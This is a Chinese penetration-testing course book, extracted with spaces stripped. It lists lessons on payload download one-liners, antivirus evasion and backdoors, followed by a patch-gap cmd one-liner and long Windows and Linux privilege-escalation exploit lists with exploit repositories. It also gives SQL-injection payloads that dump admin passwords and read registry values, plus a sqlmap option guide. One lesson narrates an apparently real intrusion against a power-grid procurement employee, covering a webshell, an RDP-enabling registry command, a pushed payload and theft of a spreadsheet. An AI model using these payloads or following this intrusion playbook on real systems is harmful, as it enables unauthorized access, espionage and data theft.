第十五课:基于第十课补充payload2 第十六课:红蓝对抗渗透测试1 第十七课:红蓝对抗渗透测试2 第十八课:红蓝对抗渗透测试3 第十九课:基于netbios发现内网存活主机 第二十课:基于snmp发现内网存活主机 第二十一课:基于ICMP发现内网存活主机 第二十二课:基于SMB发现内网存活主机 第二十三课:基于MSF发现内网存活主机第一季 第二十四课:基于MSF发现内网存活主机第二季 第二十五课:基于MSF发现内网存活主机第三季 第二十六课:基于MSF发现内网存活主机第四季 第二十七课:基于MSF发现内网存活主机第五季 第二十八课:基于MSF发现内网存活主机第六季 第二十九课:发现目标WEB程序敏感目录第一季 第一章:生 1-10课: 11-20课: 21-30课: 目录 -8- 本文档使用书栈(BookStack.CN)构建 第三十课:解决msfvenom命令自动补全 第三十一课:msf的前生今世 第三十二课:配置vps上的msf 第三十三课:攻击Mysql服务 第三十四课:攻击Sqlserver服务 第三十五课:与Sqlmap结合攻击 第三十六课:解决vps上ssh掉线 第三十七课:vbs一句话下载payload 第三十八课:certutil一句话下载payload 第三十九课:vbs一句话下载payload补充 第四十课:ftp一句话下载payload 第四十一课:bitsadmin一句话下载payload 第四十二课:攻击FTP服务 第四十三课:js一句话下载payload 第四十四课:ertutil一句话下载payload补充 第四十五课:解决bat一句话下载payload黑窗 第四十六课:powershell一句话下载payload 第四十七课:payload分离免杀思路 第四十八课:payload分离免杀思路第二季 第四十九课:关于Powershell对抗安全软件 第五十课:基于SqlDataSourceEnumerator发现内网存活主机 第五十一课:项目回忆:体系的本质是知识点串联 第五十二课:渗透的本质是信息搜集 第五十三课:内网渗透中的文件传输 第五十四课:基于Powershell做Socks4-5代理 第五十五课:与Smbmap结合攻击 第五十六课:离线提取目标机hash 第五十七课:高级持续渗透-第一季关于后门 第五十八课:高级持续渗透-第二季关于后门补充一 第五十九课:高级持续渗透-第三季关于后门补充二 第六十课:高级持续渗透-第四季关于后门 31-40课: 41-50课: 51-60课: 目录 -9- 本文档使用书栈(BookStack.CN)构建 第六十一课:高级持续渗透-第五季关于后门 第六十二课:高级持续渗透-第六季关于后门 第六十三课:高级持续渗透-第七季demo的成长 第六十四课:高级持续渗透-第八季demo便是远控 第六十五课:离线提取目标机hash补充 第六十六课:借助aspx对payload进行分离免杀 第六十七课:meterpreter下的irb操作第一季 第六十八课:基于Ruby内存加载shellcode第一季 第六十九课:渗透,持续渗透,后渗透的本质 第七十课:ftp一句话下载payload补充 第七十一课:基于白名单Msbuild.exe执行payload第一季 第七十二课:基于白名单Installutil.exe执行payload第二季 第七十三课:基于白名单Regasm.exe执行payload第三季 第七十四课:基于白名单Regsvcs.exe执行payload第四季 第七十五课:基于白名单Mshta.exe执行payload第五季 第七十六课:基于白名单Compiler.exe执行payload第六季 第七十七课:基于白名单Csc.exe执行payload第七季 第七十八课:基于白名单Msiexec执行payload第八季 第七十九课:基于白名单Regsvr32执行payload第九季 第八十课:基于白名单Wmic执行payload第十季 第八十一课:基于白名单Rundll32.exe执行payload第十一季 第八十二课:基于白名单Odbcconf执行payload第十二季 第八十三课:基于白名单PsExec执行payload第十三季 第八十四课:基于白名单Forfiles执行payload第十四季 第八十五课:基于白名单Pcalua执行payload第十五季 第八十六课:基于白名单Msiexec执行payload第八季补充 第八十七课:基于白名单Cmstp.exe执行payload第十六季 第八十八课:基于白名单Ftp.exe执行payload第十九季 第八十九课:基于白名单Url.dll执行payload第十七季 第九十课:基于白名单zipfldr.dll执行payload第十八季 61-70课: 71-80课: 81-90课: 91-100课: 目录 -10- 本文档使用书栈(BookStack.CN)构建 第九十一课:从目标文件中做信息搜集第一季 第九十二课:实战中的Payload应用 第九十三课:与CrackMapExec结合攻击 第九十四课:基于实战中的smallpayload 第九十五课:基于Portfwd端口转发 第九十六课:HTTP隧道ABPTTS第一季 第九十七课:MSF配置自定义Payload控制目标主机权限 第九十八课:HTTP隧道reGeorg第二季 第九十九课:HTTP隧道Tunna第三季 第一百课:HTTP隧道reDuh第四季 第一百零一课:基于SCF做目标内网信息搜集第二季 第一百零二课:对抗权限长期把控-伪造无效签名第一季 第一百零三课:Http加密隧道下的横向渗透尝试—-klion 第一百零四课:WindowsSmb欺骗重放攻击利用—-klion 第一百零五课:windows单机免杀抓明文或hash[通过dumplsass进程数据]—-klion 第一百零六课:windows单机免杀抓明文或hash[通过简单混淆编码绕过常规静态检测]—-klion 第一百零七课:跨平台横向移动[windows计划任务利用]—-klion 第一百零八课:跨平台横向移动[wmi利用]—-klion 第一百零九课:依托metasploit尽可能多的发现目标内网下的各类高价值存活主机—-klion 第一百一十课:窃取,伪造模拟各种windows访问令牌[token利用]—-klion 第一百一十一课:内网mssql完整利用流程[基础篇]—-klion 第一百一十二课:利用Dropbox中转C2流量—-klion 第一百一十三课:COMHijacking—-倾旋 第一百一十四课:渗透沉思录 第一百一十五课:使用CrackMapExec进行NTLMHash传递攻击—-倾旋 第一百一十六课:Windows域渗透-用户密码枚举—-倾旋 第一百一十七课:Windows本地特权提升技巧—-倾旋 第一百一十八课:CVE-2017-11882钓鱼攻击—-倾旋 第一百一十九课:全平台高性能加密隧道ssf—-klion 第一百二十课:win自带的高级网络配置管理工具深度应用[netsh]—-klion 第二章:老(待更新…) 101-110课: 111-120课: 目录 -11- 本文档使用书栈(BookStack.CN)构建 第一百二十一课:http加密代理深度应用[abptts]—-klion 第一百二十二课:利用ssh隧道实现内网断网机meterpreter反向上线—-klion 第一百二十三课:利用ssh隧道将公网meterpreter弹至本地的msf中—-klion 121-130课: 第三章:病(待更新…) 目录 -12- 本文档使用书栈(BookStack.CN)构建 https://technet.microsoft.com/zh-cn/library/security/dn639106.aspx 地址更新为: https://docs.microsoft.com/zh-cn/security- updates/securitybulletins/2017/securitybulletins2017 比如常用的几个已公布的exp: KB2592799 KB3000061 KB2592799 … 快速查找未打补丁的exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下: 1. systeminfo>micropoor.txt&(for%iin(KB977165KB2160329KB2503665KB2592799 2. KB2707511KB2829361KB2850851KB3000061KB3045171KB3077657KB3079904 3. KB3134228KB3143141KB3141780)do@typemicropoor.txt|@find/i 4. "%i"||@echo%iyoucanfuck)&del/f/q/amicropoor.txt Windows提权—快速查找exp 微软官方时刻关注列表网址: 第一课:windows提权-快速查找exp -13- 本文档使用书栈(BookStack.CN)构建 注:以上需要在可写目录执行。需要临时生成micrpoor.txt,以上补丁编号请根据环境来增删。 一般实战中在类似 tmp 目录等可写目录下执行:如 C:\tmp> 以 11-080 为例: 示例 第一课:windows提权-快速查找exp -14- 本文档使用书栈(BookStack.CN)构建 1. MS17-017[KB4013081][GDIPaletteObjectsLocalPrivilegeEscalation](windows 7/8) 2. CVE-2017-8464[LNKRemoteCodeExecutionVulnerability](windows 10/8.1/7/2016/2010/2008) 3. CVE-2017-0213[WindowsCOMElevationofPrivilegeVulnerability](windows 10/8.1/7/2016/2010/2008) 4. MS17-010[KB4013389][WindowsKernelModeDrivers](windows7/2008/2003/XP) 5. MS16-135[KB3199135][WindowsKernelModeDrivers](2016) 6. MS16-111[KB3186973][kernelapi](Windows1010586(32/64)/8.1) 7. MS16-098[KB3178466][KernelDriver](Win8.1) 8. MS16-075[KB3164038][HotPotato](2003/2008/7/8/2012) 9. MS16-034[KB3143145][KernelDriver](2008/7/8/10/2012) 10. MS16-032[KB3143141][SecondaryLogonHandle](2008/7/8/10/2012) 11. MS16-016[KB3136041][WebDAV](2008/Vista/7) 12. MS15-097[KB3089656][remotecodeexecution](win8.1/2012) 13. MS15-076[KB3067505][RPC](2003/2008/7/8/2012) 14. MS15-077[KB3077657][ATM](XP/Vista/Win7/Win8/2000/2003/2008/2012) 15. MS15-061[KB3057839][KernelDriver](2003/2008/7/8/2012) 16. MS15-051[KB3057191][WindowsKernelModeDrivers](2003/2008/7/8/2012) exp注: 第一课:windows提权-快速查找exp -15- 本文档使用书栈(BookStack.CN)构建 17. MS15-010[KB3036220][KernelDriver](2003/2008/7/8) 18. MS15-015[KB3031432][KernelDriver](Win7/8/8.1/2012/RT/2012R2/2008R2) 19. MS15-001[KB3023266][KernelDriver](2008/2012/7/8) 20. MS14-070[KB2989935][KernelDriver](2003) 21. MS14-068[KB3011780][DomainPrivilegeEscalation](2003/2008/2012/7/8) 22. MS14-058[KB3000061][Win32k.sys](2003/2008/2012/7/8) 23. MS14-040[KB2975684][AFDDriver](2003/2008/2012/7/8) 24. MS14-002[KB2914368][NDProxy](2003/XP) 25. MS13-053[KB2850851][win32k.sys](XP/Vista/2003/2008/win7) 26. MS13-046[KB2840221][dxgkrnl.sys](Vista/2003/2008/2012/7) 27. MS13-005[KB2778930][KernelModeDriver](2003/2008/2012/win7/8) 28. MS12-042[KB2972621][ServiceBus](2008/2012/win7) 29. MS12-020[KB2671387][RDP](2003/2008/7/XP) 30. MS11-080[KB2592799][AFD.sys](2003/XP) 31. MS11-062[KB2566454][NDISTAPI](2003/XP) 32. MS11-046[KB2503665][AFD.sys](2003/2008/7/XP) 33. MS11-011[KB2393802][kernelDriver](2003/2008/7/XP/Vista) 34. MS10-092[KB2305420][TaskScheduler](2008/7) 35. MS10-065[KB2267960][FastCGI](IIS5.1,6.0,7.0,and7.5) 36. MS10-059[KB982799][ACL-Churraskito](2008/7/Vista) 37. MS10-048[KB2160329][win32k.sys](XPSP2&SP3/2003SP2/VistaSP1&SP2/2008 Gold&SP2&R2/Win7) 38. MS10-015[KB977165][KiTrap0D](2003/2008/7/XP) 39. MS10-012[KB971468][SMBClientTrans2stackoverflow](Windows7/2008R2) 40. MS09-050[KB975517][RemoteCodeExecution](2008/Vista) 41. MS09-020[KB970483][IIS6.0](IIS5.1and6.0) 42. MS09-012[KB959454][Chimichurri](Vista/win7/2008/Vista) 43. MS08-068[KB957097][RemoteCodeExecution](2000/XP) 44. MS08-067[KB958644][RemoteCodeExecution](Windows2000/XP/Server 2003/Vista/Server2008) 45. MS08-066[][](Windows2000/XP/Server2003) 46. MS08-025[KB941693][Win32.sys](XP/2003/2008/Vista) 47. MS06-040[KB921883][RemoteCodeExecution](2003/xp/2000) 48. MS05-039[KB899588][PnPService](Win9X/ME/NT/2000/XP/2003) 49. MS03-026[KB823980][BufferOverrunInRPCInterface](/NT/2000/XP/2003) https://github.com/SecWiki/windows-kernel-exploits https://github.com/WindowsExploits/Exploits https://github.com/AusJock/Privilege-Escalation 已对外公开exp注: 第一课:windows提权-快速查找exp -16- 本文档使用书栈(BookStack.CN)构建 —ByMicropoor 第一课:windows提权-快速查找exp -17- 本文档使用书栈(BookStack.CN)构建 1. CVE-2017-1000367[Sudo](Sudo1.8.6p7-1.8.20) 2. CVE-2017-1000112[amemorycorruptionduetoUFOtonon-UFOpathswitch] 3. CVE-2017-7494[SambaRemoteexecution](Samba3.5.0-4.6.4/4.5.10/4.4.14) 4. CVE-2017-7308[asignednessissueinAF_PACKETsockets](Linuxkernelthrough 4.10.6) 5. CVE-2017-6074[adouble-freeinDCCPprotocol](Linuxkernelthrough4.9.11) 6. CVE-2017-5123['waitid()'](Kernel4.14.0-rc4+) 7. CVE-2016-9793[asignednessissuewithSO_SNDBUFFORCEandSO_RCVBUFFORCEsocket options](Linuxkernelbefore4.8.14) 8. CVE-2016-5195[Dirtycow](Linuxkernel>2.6.22(releasedin2007)) 9. CVE-2016-2384[adouble-freeinUSBMIDIdriver](Linuxkernelbefore4.5) 10. CVE-2016-0728[pp_key](3.8.0,3.8.1,3.8.2,3.8.3,3.8.4,3.8.5,3.8.6,3.8.7, 3.8.8,3.8.9,3.9,3.10,3.11,3.12,3.13,3.4.0,3.5.0,3.6.0,3.7.0,3.8.0, 3.8.5,3.8.6,3.8.9,3.9.0,3.9.6,3.10.0,3.10.6,3.11.0,3.12.0,3.13.0, 3.13.1) 11. CVE-2015-7547[glibcgetaddrinfo](beforeGlibc2.9) 12. CVE-2015-1328[overlayfs](3.13,3.16.0,3.19.0) 13. CVE-2014-5284[OSSEC](2.8) 14. CVE-2014-4699[ptrace](before3.15.4) 15. CVE-2014-4014[LocalPrivilegeEscalation](before3.14.8) 16. CVE-2014-3153[futex](3.3.5,3.3.4,3.3.2,3.2.13,3.2.9,3.2.1,3.1.8,3.0.5 ,3.0.4,3.0.2,3.0.1,2.6.39,2.6.38,2.6.37,2.6.35,2.6.34,2.6.33,2.6.32 ,2.6.9,2.6.8,2.6.7,2.6.6,2.6.5,2.6.4,3.2.2,3.0.18,3.0,2.6.8.1) 17. CVE-2014-0196[rawmodePTY](2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36, 2.6.37,2.6.38,2.6.39,3.14,3.15) 18. CVE-2014-0038[timeoutpwn](3.4,3.5,3.6,3.7,3.8,3.8.9,3.9,3.10,3.11, 3.12,3.13,3.4.0,3.5.0,3.6.0,3.7.0,3.8.0,3.8.5,3.8.6,3.8.9,3.9.0, 3.9.6,3.10.0,3.10.6,3.11.0,3.12.0,3.13.0,3.13.1) 19. CVE-2013-2094[perf_swevent](3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6, 3.1.0,3.2,3.3,3.4.0,3.4.1,3.4.2,3.4.3,3.4.4,3.4.5,3.4.6,3.4.8,3.4.9, 3.5,3.6,3.7,3.8.0,3.8.1,3.8.2,3.8.3,3.8.4,3.8.5,3.8.6,3.8.7,3.8.8, 3.8.9) 20. CVE-2013-1858[clown-newuser](3.3-3.8) 21. CVE-2013-1763[__sock_diag_rcv_msg](before3.8.3) 22. CVE-2013-0268[msr](2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24, 2.6.25,2.6.26,2.6.27,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33, Linux提权—依赖exp篇 exp注: 第二课:Linux提权-依赖exp篇 -18- 本文档使用书栈(BookStack.CN)构建 2.6.34,2.6.35,2.6.36,2.6.37,2.6.38,2.6.39,3.0.0,3.0.1,3.0.2,3.0.3, 3.0.4,3.0.5,3.0.6,3.1.0,3.2,3.3,3.4,3.5,3.6,3.7.0,3.7.6) 23. CVE-2012-3524[libdbus](libdbus1.5.xandearlier) 24. CVE-2012-0056[memodipper](2.6.39,3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5, 3.0.6,3.1.0) 25. CVE-2010-4347[american-sign-language](2.6.0,2.6.1,2.6.2,2.6.3,2.6.4, 2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14, 2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24, 2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34, 2.6.35,2.6.36) 26. CVE-2010-4258[full-nelson](2.6.31,2.6.32,2.6.35,2.6.37) 27. CVE-2010-4073[half_nelson](2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6, 2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16, 2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26, 2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36) 28. CVE-2010-3904[rds](2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36) 29. CVE-2010-3437[pktcdvd](2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6, 2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16, 2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26, 2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33,2.6.34,2.6.35,2.6.36) 30. CVE-2010-3301[ptrace_kmod2](2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31, 2.6.32,2.6.33,2.6.34) 31. CVE-2010-3081[video4linux](2.6.0,2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6, 2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16, 2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25,2.6.26, 2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33) 32. CVE-2010-2959[can_bcm](2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23, 2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33, 2.6.34,2.6.35,2.6.36) 33. CVE-2010-1146[reiserfs](2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23, 2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31,2.6.32,2.6.33, 2.6.34) 34. CVE-2010-0415[do_pages_move](2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23, 2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31) 35. CVE-2009-3547[pipe.c_32bit](2.4.4,2.4.5,2.4.6,2.4.7,2.4.8,2.4.9,2.4.10, 2.4.11,2.4.12,2.4.13,2.4.14,2.4.15,2.4.16,2.4.17,2.4.18,2.4.19,2.4.20, 2.4.21,2.4.22,2.4.23,2.4.24,2.4.25,2.4.26,2.4.27,2.4.28,2.4.29,2.4.30, 2.4.31,2.4.32,2.4.33,2.4.34,2.4.35,2.4.36,2.4.37,2.6.15,2.6.16, 2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22,2.6.23,2.6.24,2.6.25, 2.6.26,2.6.27,2.6.28,2.6.29,2.6.30,2.6.31) 36. CVE-2009-2698[udp_sendmsg_32bit](2.6.1,2.6.2,2.6.3,2.6.4,2.6.5,2.6.6, 2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16, 第二课:Linux提权-依赖exp篇 -19- 本文档使用书栈(BookStack.CN)构建 2.6.17,2.6.18,2.6.19) 37. CVE-2009-2692[sock_sendpage](2.4.4,2.4.5,2.4.6,2.4.7,2.4.8,2.4.9, 2.4.10,2.4.11,2.4.12,2.4.13,2.4.14,2.4.15,2.4.16,2.4.17,2.4.18,2.4.19, 2.4.20,2.4.21,2.4.22,2.4.23,2.4.24,2.4.25,2.4.26,2.4.27,2.4.28,2.4.29, 2.4.30,2.4.31,2.4.32,2.4.33,2.4.34,2.4.35,2.4.36,2.4.37,2.6.0,2.6.1, 2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11, 2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21, 2.6.22,2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30) 38. CVE-2009-2692[sock_sendpage2](2.4.4,2.4.5,2.4.6,2.4.7,2.4.8,2.4.9, 2.4.10,2.4.11,2.4.12,2.4.13,2.4.14,2.4.15,2.4.16,2.4.17,2.4.18,2.4.19, 2.4.20,2.4.21,2.4.22,2.4.23,2.4.24,2.4.25,2.4.26,2.4.27,2.4.28,2.4.29, 2.4.30,2.4.31,2.4.32,2.4.33,2.4.34,2.4.35,2.4.36,2.4.37,2.6.0,2.6.1, 2.6.2,2.6.3,2.6.4,2.6.5,2.6.6,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11,2.6.12, 2.6.13,2.6.14,2.6.15,2.6.16,2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22, 2.6.23,2.6.24,2.6.25,2.6.26,2.6.27,2.6.28,2.6.29,2.6.30) 39. CVE-2009-1337[exit_notify](2.6.25,2.6.26,2.6.27,2.6.28,2.6.29) 40. CVE-2009-1185[udev](2.6.25,2.6.26,2.6.27,2.6.28,2.6.29) 41. CVE-2008-4210[ftrex](2.6.11,2.6.12,2.6.13,2.6.14,2.6.15,2.6.16,2.6.17, 2.6.18,2.6.19,2.6.20,2.6.21,2.6.22) 42. CVE-2008-0600[vmsplice2](2.6.23,2.6.24) 43. CVE-2008-0600[vmsplice1](2.6.17,2.6.18,2.6.19,2.6.20,2.6.21,2.6.22, 2.6.23,2.6.24,2.6.24.1) 44. CVE-2006-3626[h00lyshit](2.6.8,2.6.10,2.6.11,2.6.12,2.6.13,2.6.14, 2.6.15,2.6.16) 45. CVE-2006-2451[raptor_prctl](2.6.13,2.6.14,2.6.15,2.6.16,2.6.17) 46. CVE-2005-0736[krad3](2.6.5,2.6.7,2.6.8,2.6.9,2.6.10,2.6.11) 47. CVE-2005-1263[binfmt_elf.c](Linuxkernel2.x.xto2.2.27-rc2,2.4.xto 2.4.31-pre1,and2.6.xto2.6.12-rc4) 48. CVE-2004-1235[elflbl](2.4.29) 49. CVE-N/A[caps_to_root](2.6.34,2.6.35,2.6.36) 50. CVE-2004-0077[mremap_pte](2.4.20,2.2.24,2.4.25,2.4.26,2.4.27) https://github.com/SecWiki/linux-kernel-exploits https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/ https://github.com/xairy/kernel-exploits —ByMicropoor 已对外公开exp注: 第二课:Linux提权-依赖exp篇 -20- 本文档使用书栈(BookStack.CN)构建 Delphi把操作数据的方法分成了两种,一种是function,另一种是procedure,大致理解为“函 数”和“过程”。 Procedure类似C语言中的无返回值函数,即VOID。而Function就是C语言中的有返回值 函数,即没有Void。 程序分为两种连接数据库模式: Delphi代码审计—项目实战1 1、Function&Procedure 2、连接数据库 第三课:Delphi代码审计—项目实战1 -21- 本文档使用书栈(BookStack.CN)构建 无论是本地模式,还是联网模式,都是读取,当前路径的config.ini配置文件: (导致敏感信息暴漏,可直连服务器) 第三课:Delphi代码审计—项目实战1 -22- 本文档使用书栈(BookStack.CN)构建 继续跟数据库连接:配合SQLServer数据库,直接带入,可以判断出为明文存储。 config.ini配置如下: 3、config.ini 第三课:Delphi代码审计—项目实战1 -23- 本文档使用书栈(BookStack.CN)构建 基于TCP通信,SQLServer通信构架大致如下: (可导致通信过程中抓取明文执行) 4、C/S交互过程 第三课:Delphi代码审计—项目实战1 -24- 本文档使用书栈(BookStack.CN)构建 代入执行:(导致可拼接sql语句,查询任意语句或者执行命令) 5、SQL注入 第三课:Delphi代码审计—项目实战1 -25- 本文档使用书栈(BookStack.CN)构建 部分语句其中如下: 1. selectdistinctmemberid,receivecompany 2. fromweighwherereceivecompanyisnotnullandreceivecompanylike ''%'+xxxxxx+'%'' 软件呈现如下: 6、Client 第三课:Delphi代码审计—项目实战1 -26- 本文档使用书栈(BookStack.CN)构建 对应收货单位编号,以及收货单位名称。分别为: memberid , receivecompany 。闭合语句为: 1. 2';selectloginidasmemberid,passwordasreceivecompanyfromsysuser-- 抓取返回如图: 得到admin账号以及密码。 7、构造SQL语句 第三课:Delphi代码审计—项目实战1 -27- 本文档使用书栈(BookStack.CN)构建 构造读取远程桌面端口号:得到远程服务器端口号 1. 2';EXECmaster..xp_regread'HKEY_LOCAL_MACHINE', 2. 'SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp', 3. 'PortNumber'-- copy获取缓冲区内容:(导致可从服务器端构造代码) copy用法如下: copy(a,b,c); a:就是copy源,就是一个字符串,表示你将要从a里copy一些东西; b:从a中的第b位开始copy(包含第11位); c:copy从第b位开始后的c个字符, exp:m:=‘thetestfuck’ s:=copy(m,2,2);//s值为‘he’ 当超出范围,会发生异常错误。实例中,从服务器数据库获取数据后进行copy。 软件登陆部分代码如下:(导致可自动化跑loginid。) 8、获取缓冲区内容 第三课:Delphi代码审计—项目实战1 -28- 本文档使用书栈(BookStack.CN)构建 多次尝试错误处理如下:退出软件,并且重新开始计算。 —ByMicropoor 第三课:Delphi代码审计—项目实战1 -29- 本文档使用书栈(BookStack.CN)构建 需要得知周某某的今年采购的其中一个项目具体信息,目前已知该成员是xxx电网。负责丰满大坝的采 购人员。整体思路如下: 找到开发公司->得到源码->审计问题->得到shell->拿到服务器-> 得到域控(或者终端管理)->得到个人机->下载任务文件。 得知该电网公司电网相关网站是某公司出品,得到某公司对外宣传网站,并且得到该公司服务器权限, 下载源码模板。 全局共计2个主要文件,分别是Function.asp,Startup.asp。 后台验证项: 来源验证: 注入验证:(目标服务器waf,遂放弃) ASP代码审计—项目实战2 0x00任务背景: 0x01源码审计: 1、Function.asp 第四课:Asp代码审计—项目实战2 -30- 本文档使用书栈(BookStack.CN)构建 错误处理: XSS字符处理: 直接输入admin/下文件名处理: 第四课:Asp代码审计—项目实战2 -31- 本文档使用书栈(BookStack.CN)构建 目录生成:针对iis6以及iis7php版本 配置文件:当不可以执行的时候,是否可以备份出数据库,以便下载。 2、Startup.asp 第四课:Asp代码审计—项目实战2 -32- 本文档使用书栈(BookStack.CN)构建 关于新闻显示,全局incudehead.asp 其中check_si.asp主要为防止注入 Get注入 Post注入新版本中加入post注入 3、check_si.asp 第四课:Asp代码审计—项目实战2 -33- 本文档使用书栈(BookStack.CN)构建 过程中遇到服务器卡顿现象,也就是不清楚列名数,本地二分法测试如下: 第四课:Asp代码审计—项目实战2 -34- 本文档使用书栈(BookStack.CN)构建 第四课:Asp代码审计—项目实战2 -35- 本文档使用书栈(BookStack.CN)构建 在admin目录下有个database.asp文件 根据以上信息,构造referrer,构造参数,禁止js。产生出越权漏洞。 4、database.asp 0x02目标测试: 1、越权漏洞 第四课:Asp代码审计—项目实战2 -36- 本文档使用书栈(BookStack.CN)构建 根据越权漏洞,继续看upload.asp文件,允许匿名上传图片文件。在根据越权漏洞备份出webshell 文件 2、上传 第四课:Asp代码审计—项目实战2 -37- 本文档使用书栈(BookStack.CN)构建 第四课:Asp代码审计—项目实战2 -38- 本文档使用书栈(BookStack.CN)构建 得到webshell 3、GetShell 第四课:Asp代码审计—项目实战2 -39- 本文档使用书栈(BookStack.CN)构建 对方没有开启远程桌面,开启: 1. REGADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server/v fDenyTSConnections/tREG_DWORD/d00000000/f 通过该服务器得到mssql数据库。得到终端管理权限。 4、开启3389 5、GetAdmin 第四课:Asp代码审计—项目实战2 -40- 本文档使用书栈(BookStack.CN)构建 查看在线机器,查找目标人物。 6、查找目标 第四课:Asp代码审计—项目实战2 -41- 本文档使用书栈(BookStack.CN)构建 推送payload反弹。 7、推送Payload 第四课:Asp代码审计—项目实战2 -42- 本文档使用书栈(BookStack.CN)构建 确定是否为目标人物:采购员桌面截图 8、目标确认 第四课:Asp代码审计—项目实战2 -43- 本文档使用书栈(BookStack.CN)构建 按照任务取得该人员的其中一个xls文件 9、Download 第四课:Asp代码审计—项目实战2 -44- 本文档使用书栈(BookStack.CN)构建 任务完成。 10、MissionCompleted 第四课:Asp代码审计—项目实战2 -45- 本文档使用书栈(BookStack.CN)构建 —ByMicropoor 第四课:Asp代码审计—项目实战2 -46- 本文档使用书栈(BookStack.CN)构建 由于Sqlmap是常用工具之一,所以本篇的篇幅较长,详解一次所有参数。 1. Usage:pythonsqlmap.py[options] 2. 3. Options(选项): 4. 5. -h,--helpShowbasichelpmessageandexit 6. ##展示帮助文档参数 7. 8. -hhShowadvancedhelpmessageandexit 9. ##展示详细帮助文档参数 10. 11. --versionShowprogram'sversionnumberandexit 12. ##显示程序的版本号 13. 14. -vVERBOSEVerbositylevel:0-6(default1) 15. ##详细级别:0-6(默认为1) 1. Target(目标): 2. 3. Atleastoneoftheseoptionshastobeprovidedtodefinethetarget(s) 4. 5. -dDIRECTConnectionstringfordirectdatabaseconnection 6. ##指定具体数据库 7. 8. -uURL,--url=URLTargetURL(e.g."http://www.site.com/vuln.php?id=1") 9. ##目标URL 10. 11. -lLOGFILEParsetarget(s)fromBurporWebScarabproxylogfile 12. ##解析目标(s)从Burp或WebScarab代理日志文件 13. 14. -xSITEMAPURLParsetarget(s)fromremotesitemap(.xml)file 15. ##解析目标(s)从远程站点地图文件(.xml) 16. sqlmap参数详解: 1、Options(选项) 2、Target(目标) 第五课:工具介绍-Sqlmap -47- 本文档使用书栈(BookStack.CN)构建 17. -mBULKFILEScanmultipletargetsgiveninatextualfile 18. ##扫描文本文件中给出的多个目标 19. 20. -rREQUESTFILELoadHTTPrequestfromafile 21. ##从本地文件加载HTTP请求,多用于post注入。 22. 23. -gGOOGLEDORKProcessGoogledorkresultsastargetURLs 24. ##处理Google的结果作为目标URL。 25. 26. -cCONFIGFILELoadoptionsfromaconfigurationINIfile 27. ##从INI配置文件中加载选项。 1. Request(请求): 2. 3. TheseoptionscanbeusedtospecifyhowtoconnecttothetargetURL 4. ##这些选项可以用来指定如何连接到目标URL。 5. 6. --method=METHODForceusageofgivenHTTPmethod(e.g.PUT) 7. ##强制使用给定的HTTP方法(e.g.PUT) 8. 9. --data=DATADatastringtobesentthroughPOST 10. ##通过POST发送的数据字符串 11. 12. --param-del=PARA..Characterusedforsplittingparametervalues 13. ##用于拆分参数值的字符 14. 15. --cookie=COOKIEHTTPCookieheadervalueHTTP 16. ##Cookie头的值 17. 18. --cookie-del=COO..Characterusedforsplittingcookievalues 19. ##用于分割Cookie值的字符 20. 21. --load-cookies=L..FilecontainingcookiesinNetscape/wgetformat 22. ##包含Netscape/wget格式的cookie的文件 23. 24. --drop-set-cookieIgnoreSet-Cookieheaderfromresponse 25. ##从响应中忽略Set-Cookie头 26. 27. --user-agent=AGENTHTTPUser-Agentheadervalue 28. ##指定HTTPUser-Agent头 3、Request(请求) 第五课:工具介绍-Sqlmap -48- 